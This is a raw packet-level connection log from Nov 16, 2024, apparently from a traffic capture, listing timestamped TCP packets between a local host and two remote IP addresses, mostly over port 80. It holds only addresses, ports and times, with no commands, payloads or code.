Nov 16, 2024 23:36:40.439636946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439644098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439651966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439657927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439666033 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439671993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439682007 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439687967 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439696074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439702034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439709902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439718008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439723015 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439732075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439737082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439749002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439753056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439759016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439769983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439773083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439790010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439820051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439899921 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439910889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439919949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.439949989 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439964056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.439991951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440002918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440011978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440022945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440032959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440040112 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440040112 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440042973 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440057039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440063953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440072060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440084934 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440093040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440386057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440396070 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440411091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440418005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440427065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440435886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440442085 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440444946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440448999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440455914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440465927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440468073 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440490961 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440504074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440563917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440572977 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440582037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440593004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440603018 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440617085 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440624952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440625906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440635920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440653086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440661907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440670967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440674067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440690041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440692902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440704107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440711975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440716028 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440746069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440761089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440777063 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440787077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440794945 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440815926 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440932989 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440942049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440953016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440972090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.440979004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.440982103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441003084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441015005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441031933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441041946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441051006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441071987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441071987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441082001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441092968 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441096067 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441113949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441131115 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441133022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441143990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441154003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441170931 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441184998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441206932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441242933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441257954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441267967 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441293001 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441299915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441310883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441318035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441320896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441335917 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441350937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441694975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441704988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441715002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441731930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441736937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441741943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441751957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441761971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441766024 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441787958 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441792965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441802979 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441814899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.441821098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441837072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.441863060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.442327976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.442338943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.442348957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.442382097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.442408085 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.456727982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.456778049 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.456834078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.456861019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.456881046 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.456891060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.456902027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.456919909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.456948042 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.456954002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.457338095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.457387924 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.457484007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.457513094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.457561016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.468247890 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.468955994 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.468967915 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.469516993 CET	49923	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.469527960 CET	443	49923	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.525645971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525659084 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525669098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525705099 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.525724888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525732994 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.525734901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525752068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525758982 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.525762081 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525772095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525774002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.525783062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525795937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.525824070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.525847912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525856972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525875092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525885105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525887966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.525893927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.525908947 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.525938034 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526074886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526087046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526096106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526108980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526109934 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526117086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526144028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526149988 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526170015 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526182890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526194096 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526200056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526204109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526218891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526235104 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526604891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526617050 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526635885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526645899 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526662111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526674986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526685953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526695967 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526705980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526715994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526719093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526732922 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526751995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526762962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526772022 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526782990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526782990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526829004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526829004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526868105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526880026 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526890993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526911974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526926041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526928902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526928902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526937962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526957989 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526968002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.526978970 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.526990891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527000904 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527019024 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527028084 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527038097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527038097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527048111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527057886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527060032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527075052 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527095079 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527112961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527122974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527144909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527157068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527204990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527215004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527225018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527246952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527259111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527262926 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527267933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527277946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527298927 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527321100 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527903080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527946949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.527968884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527981043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527992964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.527997017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528007030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528009892 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528017998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528023958 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528028965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528049946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528064013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528068066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528074980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528084040 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528095007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528104067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528110981 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528115034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528126001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528140068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528140068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528156042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528172016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528173923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528182030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528191090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528201103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528206110 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528211117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528223991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528239012 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528239965 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528239965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528251886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528261900 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528263092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528289080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528297901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528307915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528311014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528318882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528321028 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528342009 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528351068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528399944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528440952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528456926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528490067 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528505087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528543949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528547049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528557062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528567076 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528575897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528589964 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528609991 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528719902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528732061 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528743982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528757095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528768063 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528774977 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528784990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528788090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528805971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528809071 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528816938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528827906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528840065 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528847933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528855085 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528857946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528882980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528886080 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.528904915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.528951883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528963089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528973103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528991938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.528992891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529002905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529011011 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529014111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529042006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529064894 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529200077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529217005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529227972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529237032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529242039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.529247046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.529253960 CET	49824	80	192.168.2.5	185.215.113.206
